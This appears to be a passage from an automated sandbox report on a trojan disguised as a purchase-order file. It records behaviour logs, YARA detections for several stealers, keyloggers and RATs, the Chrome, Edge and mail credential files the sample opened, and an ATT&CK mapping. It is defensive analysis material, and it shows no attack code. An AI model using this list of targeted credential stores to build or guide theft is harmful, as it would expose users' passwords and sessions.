Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\ubygsn.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\BQ_PO#385995.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.7.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.7.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.7.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.7.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: MSBuild.exe, 00000003.00000002.4587722446.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.7.dr	Binary or memory string: MsMpEng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected BrowserPasswordDump

Source: Yara match	File source: 3.2.MSBuild.exe.7240000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.MSBuild.exe.45b5fa8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.MSBuild.exe.45b5fa8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.MSBuild.exe.7240000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.4616809591.0000000007240000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4606149598.000000000441A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6524, type: MEMORYSTR

Yara detected RedLine Stealer

Source: Yara match

File source: Process Memory Space: MSBuild.exe PID: 6524, type: MEMORYSTR

Yara detected Snake Keylogger

Source: Yara match

File source: 0000000E.00000002.4593828211.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 14.0.ubygsn.exe.980000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000000.2385310132.0000000000982000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.4593828211.0000000002FB4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ubygsn.exe PID: 3700, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\ubygsn.exe, type: DROPPED

Yara detected VIP Keylogger

Source: Yara match	File source: 14.0.ubygsn.exe.980000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000000.2385310132.0000000000982000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.4593828211.0000000002FB4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ubygsn.exe PID: 3700, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\ubygsn.exe, type: DROPPED

Yara detected XWorm

Source: Yara match	File source: 0.2.BQ_PO#385995.exe.2760a49b688.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.BQ_PO#385995.exe.2760a493c48.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.BQ_PO#385995.exe.2760a49b688.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.BQ_PO#385995.exe.2760a493c48.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.4586871157.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2258559792.000002760A47C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4593226321.00000000033C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BQ_PO#385995.exe PID: 2244, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6524, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: 3.2.MSBuild.exe.7240000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.MSBuild.exe.45b5fa8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.MSBuild.exe.45b5fa8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.MSBuild.exe.7240000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.ubygsn.exe.980000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000000.2385310132.0000000000982000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4616809591.0000000007240000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4606149598.000000000441A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6524, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ubygsn.exe PID: 3700, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\ubygsn.exe, type: DROPPED

Remote Access Functionality

Yara detected BrowserPasswordDump

Source: Yara match	File source: 3.2.MSBuild.exe.7240000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.MSBuild.exe.45b5fa8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.MSBuild.exe.45b5fa8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.MSBuild.exe.7240000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.4616809591.0000000007240000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4606149598.000000000441A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6524, type: MEMORYSTR

Yara detected RedLine Stealer

Source: Yara match

File source: Process Memory Space: MSBuild.exe PID: 6524, type: MEMORYSTR

Yara detected Snake Keylogger

Source: Yara match

File source: 0000000E.00000002.4593828211.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 14.0.ubygsn.exe.980000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000000.2385310132.0000000000982000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.4593828211.0000000002FB4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ubygsn.exe PID: 3700, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\ubygsn.exe, type: DROPPED

Yara detected VIP Keylogger

Source: Yara match	File source: 14.0.ubygsn.exe.980000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000000.2385310132.0000000000982000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.4593828211.0000000002FB4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ubygsn.exe PID: 3700, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\ubygsn.exe, type: DROPPED

Yara detected XWorm

Source: Yara match	File source: 0.2.BQ_PO#385995.exe.2760a49b688.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.BQ_PO#385995.exe.2760a493c48.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.BQ_PO#385995.exe.2760a49b688.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.BQ_PO#385995.exe.2760a493c48.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.4586871157.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2258559792.000002760A47C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4593226321.00000000033C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BQ_PO#385995.exe PID: 2244, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6524, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	311 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	14 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	2 Obfuscated Files or Information	Security Account Manager	231 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	21 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	41 Virtualization/Sandbox Evasion	SSH	Keylogging	4 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Modify Registry	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	115 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	41 Virtualization/Sandbox Evasion	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	311 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
BQ_PO#385995.exe	47%	ReversingLabs	Win64.Trojan.Leonem
